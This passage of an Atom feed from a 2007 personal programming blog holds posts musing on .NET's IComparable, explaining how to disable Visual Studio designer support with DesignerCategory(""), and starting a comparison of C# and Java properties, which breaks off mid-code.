		<published>2007-06-08T05:58:00+00:00</published>
		<updated>2007-06-08T05:58:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Today, on the ride home from work on the MAX train (local light-rail here in Portland, OR), I overheard a girl talking to some young Hispanic men. She was babbling on in a typically &amp;quot;White American&amp;quot; way, about cultural differences, and how &amp;quot;We&#39;re really more alike than we are different.&amp;quot; and that popular media tries to force differences down our cultural throats through advertisements and TV (evil incarnate).&lt;/p&gt;&#xA;&lt;p&gt;While her stance is in many ways similar to my own thinking, I still felt compelled to consider how I would respond if I were having the conversation with her... It would go something like this...&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why do we put such a fine point on our differences? Why do we go to war over skin colours, eating habits, clothing choices, and other such nonsense? Because human beings are intrinsically scared shitless of sameness. Internally, we must compare everything. We are so bound up in the process of comparison logic, that it permeates our every action. Is this bad or good? Better or worse? Bigger or smaller? Subordinate or superordinate? Our base class is &lt;code&gt;IComparable&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;These thoughts consume our lowest level drives.. To be a good person.. To get ahead in life... To be comfortable (as opposed to NOT comfortable, and any degree of comfortable is better than any degree of uncomfortable). To be powerful.. not just powerful, but specifically more powerful than you were before, or more powerful than the other guy.&lt;/p&gt;&#xA;&lt;p&gt;So we focus on our differences, because through our differences we can find something, &lt;em&gt;anything&lt;/em&gt; to make us special, better, to return &lt;code&gt;1&lt;/code&gt; on our &lt;code&gt;CompareTo()&lt;/code&gt; call for at least one property.&lt;/p&gt;&#xA;&lt;p&gt;This got me to thinking about the implementation of &lt;code&gt;IComparable&lt;/code&gt; in .NET/C#. Isn&#39;t it quite egocentric? To presume that the scope of knowledge within a single object type is sufficient to allow it to be compared to any other type? To consider that I know how to compare myself to any other thing, even if I don&#39;t know what that thing is? That notion is quite absurd. What I find interesting about the implementation is the &lt;code&gt;CompareTo()&lt;/code&gt; takes an untyped object as a parameter. Doesn&#39;t it follow that an object of a given type should only be able to compare itself to something else of the same type? That in order to compare to an object of some other type it must at least be able to be converted to that type first, so that it can be compared on equal terms?&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s a lot of discussion about that implementation. It could be argued that it&#39;s valid, but nonetheless, it&#39;s completely egocentric. How do you resolve a scenario, where both &lt;code&gt;foo.CompareTo(bar)&lt;/code&gt; and &lt;code&gt;bar.CompareTo(foo)&lt;/code&gt; both return &lt;code&gt;1&lt;/code&gt;? Which one sorts higher in the call to &lt;code&gt;SortedList.Sort()&lt;/code&gt;? or do they simply not change position relative to one another ever? So first come first serve?&lt;/p&gt;&#xA;&lt;p&gt;What if &lt;code&gt;IComparable&lt;/code&gt; worked differently? I envision it this way... Image a static object called &lt;code&gt;System.Judge&lt;/code&gt;. &lt;code&gt;System.Judge&lt;/code&gt; has a method &lt;code&gt;Compare&lt;/code&gt; which takes any two objects that implement &lt;code&gt;IComparable&lt;/code&gt;. The interface for &lt;code&gt;IComparable&lt;/code&gt; requires the object to maintain a property &lt;code&gt;CompareValues&lt;/code&gt; which contains a list of all the values it maintains that it is willing to offer up during comparison, organized by &lt;code&gt;Type&lt;/code&gt;, &lt;code&gt;Name&lt;/code&gt;, &lt;code&gt;Value&lt;/code&gt;. The &lt;strong&gt;Judge&lt;/strong&gt; accesses &lt;code&gt;foo.CompareValues.Types&lt;/code&gt; to get a list of types that it is willing to be compared to. &lt;strong&gt;Judge&lt;/strong&gt; calls that from both objects, until it finds a list of compatible types to start comparison with. For all comparable matching types, a comparison result is achieved, and then an average of comparison is evaluated, and the object with the highest average of comparison success is considered the victor. The &lt;code&gt;CompareTo()&lt;/code&gt; call would naturally be nested calls on the various &lt;code&gt;IComparable&lt;/code&gt; types presented until finally a value type with a fixed, built-in comparision method is found and stops the nesting compare calls.&lt;/p&gt;&#xA;&lt;p&gt;This sytem would of course be more complicated, and require a lot more processing for each call, resulting in much slower performance.. Ah but the logic would be sound, and that, my friends, is much more valuable than processing time.&lt;/p&gt;&#xA;&lt;p&gt;Good night.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Today, on the ride home from work on the MAX train (local light-rail here in Portland, OR), I overheard a girl talking to some young Hispanic men. She was babbling on in a typically &amp;quot;White American&amp;quot; way, about cultural differences, and how &amp;quot;We&#39;re really more alike than we are different.&amp;quot; and that popular media tries to force differences down our cultural throats through advertisements and TV (evil incarnate).&lt;/p&gt;&#xA;&lt;p&gt;While her stance is in many ways similar to my own thinking, I still felt compelled to consider how I would respond if I were having the conversation with her... It would go something like this...&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why do we put such a fine point on our differences? Why do we go to war over skin colours, eating habits, clothing choices, and other such nonsense? Because human beings are intrinsically scared shitless of sameness. Internally, we must compare everything. We are so bound up in the process of comparison logic, that it permeates our every action. Is this bad or good? Better or worse? Bigger or smaller? Subordinate or superordinate? Our base class is &lt;code&gt;IComparable&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;These thoughts consume our lowest level drives.. To be a good person.. To get ahead in life... To be comfortable (as opposed to NOT comfortable, and any degree of comfortable is better than any degree of uncomfortable). To be powerful.. not just powerful, but specifically more powerful than you were before, or more powerful than the other guy.&lt;/p&gt;&#xA;&lt;p&gt;So we focus on our differences, because through our differences we can find something, &lt;em&gt;anything&lt;/em&gt; to make us special, better, to return &lt;code&gt;1&lt;/code&gt; on our &lt;code&gt;CompareTo()&lt;/code&gt; call for at least one property.&lt;/p&gt;&#xA;&lt;p&gt;This got me to thinking about the implementation of &lt;code&gt;IComparable&lt;/code&gt; in .NET/C#. Isn&#39;t it quite egocentric? To presume that the scope of knowledge within a single object type is sufficient to allow it to be compared to any other type? To consider that I know how to compare myself to any other thing, even if I don&#39;t know what that thing is? That notion is quite absurd. What I find interesting about the implementation is the &lt;code&gt;CompareTo()&lt;/code&gt; takes an untyped object as a parameter. Doesn&#39;t it follow that an object of a given type should only be able to compare itself to something else of the same type? That in order to compare to an object of some other type it must at least be able to be converted to that type first, so that it can be compared on equal terms?&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s a lot of discussion about that implementation. It could be argued that it&#39;s valid, but nonetheless, it&#39;s completely egocentric. How do you resolve a scenario, where both &lt;code&gt;foo.CompareTo(bar)&lt;/code&gt; and &lt;code&gt;bar.CompareTo(foo)&lt;/code&gt; both return &lt;code&gt;1&lt;/code&gt;? Which one sorts higher in the call to &lt;code&gt;SortedList.Sort()&lt;/code&gt;? or do they simply not change position relative to one another ever? So first come first serve?&lt;/p&gt;&#xA;&lt;p&gt;What if &lt;code&gt;IComparable&lt;/code&gt; worked differently? I envision it this way... Image a static object called &lt;code&gt;System.Judge&lt;/code&gt;. &lt;code&gt;System.Judge&lt;/code&gt; has a method &lt;code&gt;Compare&lt;/code&gt; which takes any two objects that implement &lt;code&gt;IComparable&lt;/code&gt;. The interface for &lt;code&gt;IComparable&lt;/code&gt; requires the object to maintain a property &lt;code&gt;CompareValues&lt;/code&gt; which contains a list of all the values it maintains that it is willing to offer up during comparison, organized by &lt;code&gt;Type&lt;/code&gt;, &lt;code&gt;Name&lt;/code&gt;, &lt;code&gt;Value&lt;/code&gt;. The &lt;strong&gt;Judge&lt;/strong&gt; accesses &lt;code&gt;foo.CompareValues.Types&lt;/code&gt; to get a list of types that it is willing to be compared to. &lt;strong&gt;Judge&lt;/strong&gt; calls that from both objects, until it finds a list of compatible types to start comparison with. For all comparable matching types, a comparison result is achieved, and then an average of comparison is evaluated, and the object with the highest average of comparison success is considered the victor. The &lt;code&gt;CompareTo()&lt;/code&gt; call would naturally be nested calls on the various &lt;code&gt;IComparable&lt;/code&gt; types presented until finally a value type with a fixed, built-in comparision method is found and stops the nesting compare calls.&lt;/p&gt;&#xA;&lt;p&gt;This sytem would of course be more complicated, and require a lot more processing for each call, resulting in much slower performance.. Ah but the logic would be sound, and that, my friends, is much more valuable than processing time.&lt;/p&gt;&#xA;&lt;p&gt;Good night.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Disable Design-Time Support in Visual Studio</title>
		<id>https://blog.thoward37.me/articles/disable-design-time-support-in-visual-studio</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/disable-design-time-support-in-visual-studio" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/disable-design-time-support-in-visual-studio" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/disable-design-time-support-in-visual-studio" type="text/html"></link>
		<published>2007-06-01T00:52:00+00:00</published>
		<updated>2007-06-01T00:52:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;I recently wrote a class in C# that inherits from &lt;code&gt;System.Diagnostics.Process&lt;/code&gt;. This class abstracts a shelling-to-disk process that I need to do. Something like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyShellTask&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Process&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;One thing that bugged me to no end is that, in Visual Studio, when you double click the file in the Solution Explorer, it considered it &amp;quot;designable&amp;quot; even though there was no designer. So that means I got a empty page every time, telling me that it was not designable, with a link to &lt;code&gt;View Code&lt;/code&gt;. Well, &lt;code&gt;View Code&lt;/code&gt; is what I wanted, not &lt;code&gt;View Designer&lt;/code&gt;, when I double-clicked!&lt;/p&gt;&#xA;&lt;p&gt;So after getting very frustrated, I did the natural thing.. I Googled looking for an answer. I had a notion that I could control this behaviour through Attribute tags on the class if only I knew the right one. Having made designable components before I was familiar with the attributes used for that. I tried fiddling about with Intellisense, Googling, all to no avail... Nothing worked! Nothing showed up in my Google searches! Good God! What to do now?&lt;/p&gt;&#xA;&lt;p&gt;Fiddle some more... until finally I found the right attribute:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;[System.ComponentModel.DesignerCategory(&amp;#34;&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyShellTask&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Process&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;c1&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that you must call this with an empty string (don&#39;t believe the intellisense comment, an empty constructor call will NOT do the same as calling the constructor with an empty string.) This sets it to a non-category that it doesn&#39;t know how to deal with, and so doesn&#39;t offer designer support to you!&lt;/p&gt;&#xA;&lt;p&gt;This also helps other classes (like say installers) which exhibit the same annoying VS UI problems... ie:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cs&#34;&gt;/// &amp;lt;summary&amp;gt; &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cs&#34;&gt;/// Custom Installer actions for this project. &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cs&#34;&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;[RunInstaller(true)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;[System.ComponentModel.DesignerCategory(&amp;#34;&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;partial&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyInstaller&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Installer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Hope that helps someone! Now there will be at least ONE hit if someone googles up &lt;code&gt;&amp;quot;disable design-time support&amp;quot;&lt;/code&gt; or &lt;code&gt;&amp;quot;disable designer support&amp;quot;&lt;/code&gt; like I did!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;I recently wrote a class in C# that inherits from &lt;code&gt;System.Diagnostics.Process&lt;/code&gt;. This class abstracts a shelling-to-disk process that I need to do. Something like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyShellTask&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Process&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;One thing that bugged me to no end is that, in Visual Studio, when you double click the file in the Solution Explorer, it considered it &amp;quot;designable&amp;quot; even though there was no designer. So that means I got a empty page every time, telling me that it was not designable, with a link to &lt;code&gt;View Code&lt;/code&gt;. Well, &lt;code&gt;View Code&lt;/code&gt; is what I wanted, not &lt;code&gt;View Designer&lt;/code&gt;, when I double-clicked!&lt;/p&gt;&#xA;&lt;p&gt;So after getting very frustrated, I did the natural thing.. I Googled looking for an answer. I had a notion that I could control this behaviour through Attribute tags on the class if only I knew the right one. Having made designable components before I was familiar with the attributes used for that. I tried fiddling about with Intellisense, Googling, all to no avail... Nothing worked! Nothing showed up in my Google searches! Good God! What to do now?&lt;/p&gt;&#xA;&lt;p&gt;Fiddle some more... until finally I found the right attribute:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;[System.ComponentModel.DesignerCategory(&amp;#34;&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyShellTask&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Process&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;c1&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that you must call this with an empty string (don&#39;t believe the intellisense comment, an empty constructor call will NOT do the same as calling the constructor with an empty string.) This sets it to a non-category that it doesn&#39;t know how to deal with, and so doesn&#39;t offer designer support to you!&lt;/p&gt;&#xA;&lt;p&gt;This also helps other classes (like say installers) which exhibit the same annoying VS UI problems... ie:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cs&#34;&gt;/// &amp;lt;summary&amp;gt; &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cs&#34;&gt;/// Custom Installer actions for this project. &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cs&#34;&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;[RunInstaller(true)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;[System.ComponentModel.DesignerCategory(&amp;#34;&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;partial&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyInstaller&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Installer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Hope that helps someone! Now there will be at least ONE hit if someone googles up &lt;code&gt;&amp;quot;disable design-time support&amp;quot;&lt;/code&gt; or &lt;code&gt;&amp;quot;disable designer support&amp;quot;&lt;/code&gt; like I did!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Java, NetBeans, and Templates, OH MY!</title>
		<id>https://blog.thoward37.me/articles/java-netbeans-and-templates-oh-my</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/java-netbeans-and-templates-oh-my" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/java-netbeans-and-templates-oh-my" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/java-netbeans-and-templates-oh-my" type="text/html"></link>
		<published>2007-05-09T05:53:00+00:00</published>
		<updated>2007-05-09T05:53:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Well, having recently sparked an interest in moving towards a Open Source, cross platform, but still as cool as C&lt;a href=&#34;/tags//vs2005/&#34; data-hyper-mention&gt;#/VS2005&lt;/a&gt; development platform, I of course landed in the middle of NetBeans 5.5 and Java.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having never programmed in Java before, but understanding it&#39;s really similar to C# (or I should say C# is really similar to Java), I immediately started fiddling about as if I were writing C# code. So, it&#39;s easy to get past typing uppercase &lt;code&gt;String&lt;/code&gt;, &lt;em&gt;not lowercase&lt;/em&gt;, and also not too hard to grok &lt;code&gt;extends&lt;/code&gt; instead of &lt;code&gt;:&lt;/code&gt; for inheritance. The &lt;em&gt;one-class-per-file thing&lt;/em&gt;, well, I guess it will just make me a more organized programmer, however annoying it is. Actually, I ended up just learning to do the same thing in C#, which has really been better...&lt;/p&gt;&#xA;&lt;p&gt;But, the things that really erked me was properties.&lt;/p&gt;&#xA;&lt;p&gt;In C# I can do this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 